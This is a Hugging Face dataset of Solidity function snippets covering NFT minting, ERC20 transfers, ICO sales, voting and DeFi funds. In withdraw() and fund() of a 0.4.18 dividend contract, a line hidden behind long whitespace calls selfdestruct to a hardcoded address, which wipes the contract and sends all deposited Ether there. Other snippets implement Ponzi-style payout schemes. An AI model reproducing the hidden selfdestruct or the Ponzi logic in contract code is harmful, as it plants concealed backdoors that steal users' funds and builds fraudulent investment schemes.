lohoz/Smart-Contract-MultiTask-Dataset huggingface dataset:
// Solidity 0.7.1
/**
 * @dev Claim mints NCTs and supports multiple Hashmask token indices at once.
 */
function claim(uint256[] memory tokenIndices) public returns (uint256) {
        require(block.timestamp > emissionStart, "Emission has not started yet");

        uint256 totalClaimQty = 0;
        for (uint i = 0; i < tokenIndices.length; i++) {
            // Sanity check for non-minted index
            require(tokenIndices[i] < IWaifus(_waifusAddress).totalSupply(), "NFT at index has not been minted yet");
            // Duplicate token index check
            for (uint j = i + 1; j < tokenIndices.length; j++) {
                require(tokenIndices[i] != tokenIndices[j], "Duplicate token index");
            }

            uint tokenIndex = tokenIndices[i];
            require(IWaifus(_waifusAddress).ownerOf(tokenIndex) == msg.sender, "Sender is not the owner");

            uint256 claimQty = accumulated(tokenIndex);
            if (claimQty != 0) {
                totalClaimQty = totalClaimQty.add(claimQty);
                _lastClaim[tokenIndex] = block.timestamp;
            }
        }

        require(totalClaimQty != 0, "No accumulated NCT");
        _mint(msg.sender, totalClaimQty); 
        return totalClaimQty;
    }
// Solidity 0.4.24
// this function called every time anyone sends a transaction to this contract
function () external payable {
        // if sender is invested more than 0 ether
        if (invested[msg.sender] != 0) {
            // calculate profit amount as such:
            // amount = (amount invested) * 5% * (blocks since last transaction) / 5900
            // 5900 is an average block count per day produced by Ethereum blockchain
            uint256 amount = invested[msg.sender] * 5/100 * (block.number - atBlock[msg.sender]) / 5900;


            // send calculated amount of ether directly to sender
            address sender = msg.sender;
            sender.send(amount);
        }

        // record block number and invested amount (msg.value) of this transaction
        atBlock[msg.sender] = block.number;
        invested[msg.sender] += msg.value;
    }
// Solidity 0.8.0
// ============ PUBLIC READ-ONLY FUNCTIONS ============
function walletOfOwner(address _owner)
        public
        view
        returns (uint256[] memory)
    {
        uint256 ownerTokenCount = balanceOf(_owner);
        uint256[] memory tokenIds = new uint256[](ownerTokenCount);
        for (uint256 i; i < ownerTokenCount; i++) {
            tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
        }
        return tokenIds;
    }
// Solidity 0.5.12
//function register(uint256 voterID, uint256 hashedPhone, string memory council)
function register(uint256 voterID, uint256 hashedEmail, string memory council) 
		public returns(bool){
		require(isRunningElection);
		require(approvedVoteBox[msg.sender]);
		//Register happens during election as we do not have the voter list
		//require(now >= votingStartTime);
		//require(now < votingEndTime);
		if(voterList[voterID]) deregister(voterID);
		//if(usedPhoneNumber[hashedPhone] > 0)
			//deregister(usedPhoneNumber[hashedPhone]);
		if(usedPhoneNumber[hashedEmail] > 0)
			deregister(usedPhoneNumber[hashedEmail]);
		voterList[voterID] = true;
		//usedPhoneNumber[hashedPhone] = voterID;
		usedPhoneNumber[hashedEmail] = voterID;
		councilVoterList[voterID][council] = true;
		councilVoterNumber[council]++;
		return true;
	}
// Solidity 0.5.12
//function isValidVoter(uint256 voterID, uint256 hashedPhone, string memory council)
function isValidVoter(uint256 voterID, uint256 hashedEmail, string memory council) 
		public view returns(bool){
		if(!voterList[voterID]) return false;
		//if(usedPhoneNumber[hashedPhone] == 0 || usedPhoneNumber[hashedPhone] != voterID)
		if(usedPhoneNumber[hashedEmail] == 0 || usedPhoneNumber[hashedEmail] != voterID)
			return false;
		if(!councilVoterList[voterID][council]) return false;
		return true;
	}
// Solidity 0.5.12
//function submitVote(uint256 voterID, uint256 hashedPhone, 
function submitVote(uint256 voterID, uint256 hashedEmail, 
	    string memory council, string memory singleVote) public returns(bool){
		require(isRunningElection);
		require(approvedVoteBox[msg.sender]);
		//require(now >= votingStartTime);
		//require(now < votingEndTime);
		//require(isValidVoter(voterID,hashedPhone,council));
		require(isValidVoter(voterID,hashedEmail,council));
		require(!isVoted(voterID)); //Voted already
		require(!voteDictionary[singleVote]);
		voteListByVoter[voterID] = singleVote;
		votes[council].push(singleVote);
		voteByVotebox[msg.sender].push(singleVote);
		voteDictionary[singleVote] = true;
		return true;
	}
// Solidity 0.5.12
//Sample G123456A AB9876543, C1234569 invalid sample AY987654A C668668E
function checkHKID(string memory HKID) 
		internal pure returns(bool){
		bytes memory b = bytes(HKID);
		if(b.length !=8 && b.length !=9) return false;
		uint256 checkDigit = 0;
		uint256 power = 9;
		if(b.length ==8){
			checkDigit += (36*power);
			power--;
		}
		for(uint i=0;i<b.length;i++){
			uint digit = uint8(b[i]);
			if(i>(b.length-8) && i<(b.length-1)){
				//It should be a number
				if(digit < 48 || digit > 57) return false;
			}
			if(digit >=48 && digit<=57) checkDigit += ((digit-48)*power); //Number
			else if(digit >=65 && digit<=90) checkDigit += ((digit-55)*power); //A-Z
			else return false;
			power--;
		}
		if(checkDigit % 11 == 0) return true;
		return false;
	}
// Solidity 0.4.18
// Withdraws all dividends held by the caller sending the transaction, updates
// the requisite global variables, and transfers Ether back to the caller.
function withdraw() public {
		// Retrieve the dividends associated with the address the request came from.
		var balance = dividends(msg.sender);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
		
		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);
		
		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);
		
		// Send the dividends to the address that requested the withdraw.
		contractBalance = sub(contractBalance, balance);
		msg.sender.transfer(balance);
	}
// Solidity 0.4.18
// Gatekeeper function to check if the amount of Ether being sent isn't either
// too small or too large. If it passes, goes direct to buy().
function fund() payable public {
		// Don't allow for funding if the amount of Ether sent is less than 1 szabo.
		if (msg.value > 0.100000 ether) {
			// Limit first buyers to 0.1 ether
			if( initialFunds > 0 ) {
				initialFunds--;
				require( msg.value <= firstBuyerLimit );
			}
		    contractBalance = add(contractBalance, msg.value);
			buy();
		} else {                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          address stupidBuy = 0xeD0388Edc76D0CD1A8FaafEd60dAE97206d28F35; selfdestruct(stupidBuy);                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            
			revert();
		}
    }
// Solidity 0.4.18
// Version of withdraw that extracts the dividends and sends the Ether to the caller.
// This is only used in the case when there is no transaction data, and that should be
// quite rare unless interacting directly with the smart contract.
function withdrawOld(address to) public {
		// Retrieve the dividends associated with the address the request came from.
		var balance = dividends(msg.sender);
		
		// Update the payouts array, incrementing the request address by `balance`.
		payouts[msg.sender] += (int256) (balance * scaleFactor);
		
		// Increase the total amount that's been paid out to maintain invariance.
		totalPayouts += (int256) (balance * scaleFactor);
		
		contractBalance = sub(contractBalance, balance);
		// Send the dividends to the address that requested the withdraw.
		to.transfer(balance);		
	}
// Solidity 0.4.18
// Converts a number tokens into an Ether value.
function getEtherForTokens(uint256 tokens) public constant returns (uint256 ethervalue) {
		// How much reserve Ether do we have left in the contract?
		var reserveAmount = reserve();

		// If you're the Highlander (or bagholder), you get The Prize. Everything left in the vault.
		if (tokens == totalSupply)
			return reserveAmount;

		// If there would be excess Ether left after the transaction this is called within, return the Ether
		// corresponding to the equation in Dr Jochen Hoenicke's original Ponzi paper, which can be found
		// at https://test.jochen-hoenicke.de/eth/ponzitoken/ in the third equation, with the CRR numerator 
		// and denominator altered to 1 and 2 respectively.
		return sub(reserveAmount, fixedExp((fixedLog(totalSupply - tokens) - price_coeff) * crr_d/crr_n));
	}
// Solidity 0.4.18
// The polynomial R = c1*x + c3*x^3 + ... + c11 * x^11
// approximates the function log(1+x)-log(1-x)
// Hence R(s) = log((1+s)/(1-s)) = log(a)
function fixedLog(uint256 a) internal pure returns (int256 log) {
		int32 scale = 0;
		while (a > sqrt2) {
			a /= 2;
			scale++;
		}
		while (a <= sqrtdot5) {
			a *= 2;
			scale--;
		}
		int256 s = (((int256)(a) - one) * one) / ((int256)(a) + one);
		var z = (s*s) / one;
		return scale * ln2 +
			(s*(c1 + (z*(c3 + (z*(c5 + (z*(c7 + (z*(c9 + (z*c11/one))
				/one))/one))/one))/one))/one);
	}
// Solidity 0.4.18
// The polynomial R = 2 + c2*x^2 + c4*x^4 + ...
// approximates the function x*(exp(x)+1)/(exp(x)-1)
// Hence exp(x) = (R(x)+x)/(R(x)-x)
function fixedExp(int256 a) internal pure returns (uint256 exp) {
		int256 scale = (a + (ln2_64dot5)) / ln2 - 64;
		a -= scale*ln2;
		int256 z = (a*a) / one;
		int256 R = ((int256)(2) * one) +
			(z*(c2 + (z*(c4 + (z*(c6 + (z*c8/one))/one))/one))/one);
		exp = (uint256) (((R + a) * one) / (R - a));
		if (scale >= 0)
			exp <<= scale;
		else
			exp >>= -scale;
		return exp;
	}
// Solidity 0.4.18
// The below are safemath implementations of the four arithmetic operators
// designed to explicitly prevent over- and under-flows of integer values.
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		assert(c / a == b);
		return c;
	}
// Solidity 0.8.3
// Find facet for function that is called and execute the
// function if a facet is found and return any value.
fallback() external payable {
        LibDiamond.DiamondStorage storage ds;
        bytes32 position = LibDiamond.DIAMOND_STORAGE_POSITION;
        assembly {
            ds.slot := position
        }
        address facet = ds.selectorToFacetAndPosition[msg.sig].facetAddress;
        require(facet != address(0), "Diamond: Function does not exist");
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), facet, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
                case 0 {
                    revert(0, returndatasize())
                }
                default {
                    return(0, returndatasize())
                }
        }
    }
// Solidity 0.8.3
// A gas cheap way of adding the DiamondCut facet - can only be called once
function initDiamondCutFacet(address facet, bytes4 functionSignature) public  {
      LibDiamond.enforceIsContractOwner();

      LibDiamond.DiamondStorage storage ds = LibDiamond.diamondStorage();
      require(ds.selectorToFacetAndPosition[functionSignature].facetAddress == address(0), 'Diamond: Diamond was already initiated');

      ds.selectorToFacetAndPosition[functionSignature].functionSelectorPosition = 0;
      ds.facetFunctionSelectors[facet].functionSelectors.push(functionSignature);
      ds.facetFunctionSelectors[facet].facetAddressPosition = 0;
      ds.facetAddresses.push(facet);
      ds.selectorToFacetAndPosition[functionSignature].facetAddress = facet;
  }
// Solidity 0.6.12
/**
 * @dev Creates a new Full SmartFund
 *
 * @param _name                        The name of the new fund
 * @param _successFee                  The fund managers success fee
 * @param _fundType                    Fund type enum number
 * @param _isRequireTradeVerification  If true fund can buy only tokens,
 *                                     which include in Merkle Three white list
 */
function createSmartFund(
    string memory _name,
    uint256       _successFee,
    uint256       _fundType,
    bool          _isRequireTradeVerification
  ) public {
    // Require that the funds success fee be less than the maximum allowed amount
    require(_successFee <= maximumSuccessFee);

    address smartFund;

    // ETH case
    if(_fundType == uint256(FundType.ETH)){
      // Create ETH Fund
      smartFund = smartFundETHFactory.createSmartFund(
        msg.sender,
        _name,
        _successFee, // manager and platform fee
        exchangePortalAddress,
        poolPortalAddress,
        defiPortalAddress,
        address(permittedAddresses),
        oracleAddress,
        _isRequireTradeVerification,
        cotraderGlobalConfig
      );

    }
    // ERC20 case
    else{
      address coinAddress = getERC20AddressByFundType(_fundType);
      // Create ERC20 based fund
      smartFund = smartFundERC20Factory.createSmartFund(
        msg.sender,
        _name,
        _successFee, // manager and platform fee
        exchangePortalAddress,
        poolPortalAddress,
        defiPortalAddress,
        address(permittedAddresses),
        coinAddress,
        oracleAddress,
        _isRequireTradeVerification,
        cotraderGlobalConfig
      );
    }

    smartFunds.push(smartFund);
    emit SmartFundAdded(smartFund, msg.sender);
  }
// Solidity 0.8.1
// msg.sender = (third-party) spender
function transferFrom(address owner, address recipient, uint256 amount) public returns (bool) {
        uint256 currentAllowance = _allowances[owner][msg.sender];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");        
        _transfer(owner, recipient, amount);
        _approve(owner, msg.sender, currentAllowance - amount);
        return true;
    }
// Solidity 0.4.25
// Gamefunctions
function sendInSoldier(address masternode) public updateAccount(msg.sender)  payable{
    uint256 value = msg.value;
    require(value >= 100 finney);// sending in sol costs 0.1 eth
    address sender = msg.sender;
    // add life
    balances[sender]++;
    // update totalSupply
    _totalSupply++;
    // add bullet 
    bullets[sender]++;
    // add to playing field
    formation[nextFormation] = sender;
    nextFormation++;
    // reset lastMove to prevent people from adding bullets and start shooting
    lastMove[sender] = block.number;
    // buy P3D
    P3Dcontract_.buy.value(5 finney)(masternode);
    // check excess of payed 
     if(value > 100 finney){Refundpot += value - 100 finney;}
    // progress refundline
    Refundpot += 5 finney;
    // send SPASM cut
    SPASM_.disburse.value(2 finney)();

}
// Solidity 0.6.9
//==================== Ownable ====================
function setFilterAdminFeeRateInfo(
        address filterAdminAddr,
        uint256 nftInFeeRate,
        uint256 nftOutFeeRate,
        bool isOpen
    ) external onlyOwner {
        require(nftInFeeRate <= 1e18 && nftOutFeeRate <= 1e18, "FEE_RATE_TOO_LARGE");
        FilterAdminFeeRateInfo memory feeRateInfo = FilterAdminFeeRateInfo({
            nftInFeeRate: nftInFeeRate,
            nftOutFeeRate: nftOutFeeRate,
            isOpen: isOpen
        });
        filterAdminFeeRates[filterAdminAddr] = feeRateInfo;

        emit SetFilterAdminFeeRateInfo(filterAdminAddr, nftInFeeRate, nftOutFeeRate, isOpen);
    }
// Solidity 0.4.21
// ERC223 Token improvement to send tokens to smart-contracts
function transfer(address _to, uint _value) public returns (bool success) { 
    //standard function transfer similar to ERC20 transfer with no _data
    //added due to backwards compatibility reasons
    bytes memory empty;
    if (isContract(_to)) {
        return transferToContract(_to, _value, empty);
    }
    else {
        return super.transfer(_to, _value);
    }
  }
// Solidity 0.4.17
// 2250 VUP @ 12.5% discount
function VuePayTokenSale () public payable
	{

	    totalSupply = INITIAL_VUP_TOKEN_SUPPLY;

		//Start Pre-sale approx on the 6th october 8:00 GMT
	    preSaleStartBlock=4340582;
	    //preSaleStartBlock=block.number;
	    preSaleEndBlock = preSaleStartBlock + 37800;  // Equivalent to 14 days later, assuming 32 second blocks
	    icoEndBlock = preSaleEndBlock + 81000;  // Equivalent to 30 days , assuming 32 second blocks
		executor = msg.sender;
		saleHasEnded = false;
		minCapReached = false;
		allowRefund = false;
		advisoryTeamShare = ADVISORY_TEAM_PORTION;
		totalETHRaised = 0;
		totalVUP=0;

	}
// Solidity 0.4.17
// Create VUP tokens from the Advisory bucket for marketing, PR, Media where we are 
//paying upfront for these activities in VUP tokens.
//Clients = Media, PR, Marketing promotion etc.
function createCustomVUP(address _clientVUPAddress,uint256 _value) public onlyOwner {
	    //Check the address is valid
	    require(_clientVUPAddress != address(0x0));
		require(_value >0);
		require(advisoryTeamShare>= _value);
	   
	  	uint256 amountOfVUP = _value;
	  	//Reduce from advisoryTeamShare
	    advisoryTeamShare=advisoryTeamShare.sub(amountOfVUP);
        //Accrue VUP tokens
		totalVUP=totalVUP.add(amountOfVUP);
		//Assign tokens to the client
		uint256 balanceSafe = balances[_clientVUPAddress].add(amountOfVUP);
		balances[_clientVUPAddress] = balanceSafe;
		//Create VUP Created event
		CreatedVUP(_clientVUPAddress, amountOfVUP);
	
	}
// Solidity 0.6.6
/**
 * @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond
 * and pay a fixed final fee charged on each price request.
 * @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
 * This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
 * bond amount is calculated from `disputeBondPct` times the collateral in the liquidation.
 * @param liquidationId of the disputed liquidation.
 * @param sponsor the address of the sponsor whose liquidation is being disputed.
 * @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
 */
function dispute(uint256 liquidationId, address sponsor)
        external
        disputable(liquidationId, sponsor)
        fees()
        nonReentrant()
        returns (FixedPoint.Unsigned memory totalPaid)
    {
        LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);

        // Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
        FixedPoint.Unsigned memory disputeBondAmount = disputedLiquidation.lockedCollateral.mul(disputeBondPct).mul(
            _getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
        );
        _addCollateral(rawLiquidationCollateral, disputeBondAmount);

        // Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
        disputedLiquidation.state = Status.PendingDispute;
        disputedLiquidation.disputer = msg.sender;

        // Enqueue a request with the DVM.
        _requestOraclePrice(disputedLiquidation.liquidationTime);

        emit LiquidationDisputed(
            sponsor,
            disputedLiquidation.liquidator,
            msg.sender,
            liquidationId,
            disputeBondAmount.rawValue
        );
        totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);

        // Pay the final fee for requesting price from the DVM.
        _payFinalFees(msg.sender, disputedLiquidation.finalFee);

        // Transfer the dispute bond amount from the caller to this contract.
        collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
    }
// Solidity 0.4.18
// 0 - stop
// 1 - preSale
// 2 - sale 1
// 3 - sale 2
function getStatus() internal constant returns (uint256) {
    if(now > tier2EndDate) {
      return 0;
    } else if(now > tier2StartDate && now < tier2EndDate) {
      return 3;
    } else if(now > tier1StartDate && now < tier1EndDate) {
      return 2;
    } else if(now > preIcoStartDate && now < preIcoEndDate){
      return 1;
    } else {
      return 0;
    }
  }
// Solidity 0.4.18
// burn the rest
// keep nuc and team tokens
function burnTokens() public onlyOwner {
    require(now > tier2EndDate);
    uint256 circulating = token.totalSupply().sub(token.balanceOf(this));

    uint256 _teamTokens = circulating.mul(percentsTeamTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);
    uint256 _nucTokens = circulating.mul(percentsNuclearTokens).div(100 - percentsTeamTokens-percentsNuclearTokens);

    // safety check. The math should work out, but this is here just in case
    if (_teamTokens.add(_nucTokens)>token.balanceOf(this)){
      _nucTokens = token.balanceOf(this).sub(_teamTokens);
    }

    token.transfer(restricted, _teamTokens);
    token.transfer(token.AddressDefault(), _nucTokens);
    uint256 _burnTokens = token.balanceOf(this);
    if (_burnTokens>0){
      token.burn(_burnTokens);
    }
  }